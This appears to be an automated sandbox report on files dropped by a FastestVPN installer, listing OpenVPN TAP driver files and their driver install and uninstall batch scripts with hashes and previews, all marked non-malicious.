                                                                                                                    Preview:@echo OFF..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10....call %OS%\%ARCH%\uninstall_tap.bat

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\OemVista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\install_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-435KP.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-82JR2.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-F9EDV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-FKR1L.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):507728
                                                                                                                    Entropy (8bit):6.351404653031349
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:6VF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cw:6VXU/3TNfAkTnrZqkyh/agGxwNdUo1h
                                                                                                                    MD5:E313336C82EB265542664CC7A360C5FF
                                                                                                                    SHA1:184211A456E09AC606DB76F814332CC912C0F5EB
                                                                                                                    SHA-256:B6B33F4CD19C606E4C616F08C11FD4AE775ACCB24B78EF66EB31C279CA403381
                                                                                                                    SHA-512:F156F2F55AF7026F5B3D2C5634806C5764FD230521D71969E80BBF6F6571730636DD5F6FE6C1138FA742E12003E5CC5F7D82E729EF7506057F8B510384E52386
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d......].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..PG......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-T11E5.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):507728
                                                                                                                    Entropy (8bit):6.351404653031349
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:6VF7vR03+4YnfLU6wXnSmZb3lKm34AJ9Qvtk1Ai8mTnu5gtZXqg7VcoyUyHi6/Cw:6VXU/3TNfAkTnrZqkyh/agGxwNdUo1h
                                                                                                                    MD5:E313336C82EB265542664CC7A360C5FF
                                                                                                                    SHA1:184211A456E09AC606DB76F814332CC912C0F5EB
                                                                                                                    SHA-256:B6B33F4CD19C606E4C616F08C11FD4AE775ACCB24B78EF66EB31C279CA403381
                                                                                                                    SHA-512:F156F2F55AF7026F5B3D2C5634806C5764FD230521D71969E80BBF6F6571730636DD5F6FE6C1138FA742E12003E5CC5F7D82E729EF7506057F8B510384E52386
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N....cv..cv..cv.Q.r..cv.Q.u..cv.Q.s..cv...s.#cv...r..cv...u..cv.Q.w..cv..cw..cv.~.s..cv.~....cv..c...cv.~.t..cv.Rich.cv.................PE..d......].........."......*...d.......z.........@..........................................`..................................................S..x............... L...x..PG......D.......T............................................@...............................text....).......*.................. ..`.rdata...%...@...&..................@..@.data....(...p.......T..............@....pdata.. L.......N...d..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..D............n..............@..B................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\uninstall_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):142
                                                                                                                    Entropy (8bit):4.838122400792552
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyPuCkjLoOMXrHt9QVVkUoYmdFwLMiREl32AGN8BvAOA:hiPFvPullYkVVkxYmQLNREVNGN8B6
                                                                                                                    MD5:012961E4DD4402DA78BC174AF09B77F9
                                                                                                                    SHA1:900CA53983FAA217DD134664A9E694138E9A6FDF
                                                                                                                    SHA-256:E7D73C9323599320AFA243DB5313F1A55ADFC34EDE66A4A656CA9172BF3C273D
                                                                                                                    SHA-512:332A6BA6D1923A020DDB36E6E6FA80141B737ECC51EE52EE0D147B85DBC95DD3E97DA20083EAB3F5218DD9F4CA37DA986D35989F251F72C2512A42CBB6B462B9
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing TAP driver.....tapinstall.exe remove tap0901..echo TAP Driver Uninstall completed successfully!..exit..

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\OemVista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7533
                                                                                                                    Entropy (8bit):5.046821594517318
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                    MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                    SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                    SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                    SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\install_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):228
                                                                                                                    Entropy (8bit):4.832057381123706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:hiPFvPuaYkVVkZ0BNLllYYLV3GZ0Q/RLQ8NGN8BP:E9HuaYcyZcNLllYbZh/a8NGNc
                                                                                                                    MD5:939DFFC36D36E4C85EE6703C812987E5
                                                                                                                    SHA1:3BA5F451B1F5C269B4F51E847DA79A3C619CB9C9
                                                                                                                    SHA-256:843C2DFB5FE8DFE7C5266F8F79D1E0AC0BA3E40D5C883D4AF879B6F273B7499E
                                                                                                                    SHA-512:8958432897981533C2822AC7355D56FC490EB89157423FAA5DF13A5EC00E75A9E791A3ECF478561C3B13988C553FD739FD2047C37EF91972DBF61AB55D475314
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..echo Removing old TAP driver.....tapinstall.exe remove tap0901 ..echo Installing TAP driver.....tapinstall.exe install OemVista.inf tap0901 ..echo TAP Driver Re-Installation completed successfully!..exit

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):396840
                                                                                                                    Entropy (8bit):6.504700092936786
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:mkska7m3uFm4uy6b10MtxnOrPdmBe3oIkm:mAawb109dmBK5
                                                                                                                    MD5:D680D27DCC19546B721F731384EE56DD
                                                                                                                    SHA1:B418C1B8CB5E8259F9C8CBED29676AD101A15425
                                                                                                                    SHA-256:E64E59A011D45C5D9D93AC79305A060244796040FCFBA112D7F8218F945C7602
                                                                                                                    SHA-512:B495D60E97A782EDA01833F3A45AC03E5F2E6E629D7117ED34E6EA411E85FD8A012C21BD793ED59D7B352F3AA7552209F46203680974CCB57D003A1C690F476B
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........b...1...1...1..0...1..0{..1..0.1C.0..1C.0.1C.0.1..0...1...1b..1..0...1..p1...1...1...1..0...1Rich...1........PE..L......].................<..........`m.......P....@.......................................@.....................................x.......................(H.......$......T...........................(...@............P..h............................text....;.......<.................. ..`.rdata..J....P.......@..............@..@.data...l...........................@....rsrc...............................@..@.reloc...$.......&..................@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-KGUOR.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10866
                                                                                                                    Entropy (8bit):7.241389894622462
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:LBDMDT23rJCeS39JnxrEwJqKkhYC9jOVKEwkqnajNkwIetug:LXdoJxXxkh39qVKtklJGNg
                                                                                                                    MD5:6A3C291EB986A23B427ECF92779C6902
                                                                                                                    SHA1:C96B9791A0F5AC27F84E2F3E06E64C8513168477
                                                                                                                    SHA-256:C996AA42A022F1DE293F14445FEC7038A7CDC6AA2C4632C5CCA07ED53F88F762
                                                                                                                    SHA-512:1FC247B10FB3717344174FC66EDD6ACC5DF171EDF9F70081715CA4C62499D6673B777B635EA043B397F6933201150E8D8EE28309BFA7F6F96326562D43BB6640
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.*n..*.H........*_0.*[...1.0...`.H.e......0.....+.....7......0...0...+.....7.....atM...lN....n>....191023090129Z0...+.....7.....0..T0......t.:..h.?+...*);~.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.... Y.....j...g.0....$..]o....-... 1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... Y.....j...g.0....$..]o....-... 0.......R.....Q.8Y....1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..xq....X.QO@....|s6..*.xV. .,.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..xq....X.QO@....|s6..*.xV. .,...e0..a0....+.

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-MUO8K.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7533
                                                                                                                    Entropy (8bit):5.046821594517318
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlP2bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGTxzo3DcNSj6jvKFkinuEQTXvzaZ
                                                                                                                    MD5:3A541F2BF9842CDE6F0C95E83DE14FFA
                                                                                                                    SHA1:12C074F03AA19968893F2BE48FDEF42A293B7EE4
                                                                                                                    SHA-256:598EAD8481136AB0C8C99E67CA30841DB3C32417B45D6FEEDE04802DB0C4C320
                                                                                                                    SHA-512:F060851D26E978AFA6AC632E74C221FB837FDEEE7752762BEE210D7BE144195A27514E108EF8C19A642BC03486E94721BD1B9D4AC69DB26BD892DCAA7894D3D2
                                                                                                                    Malicious:false
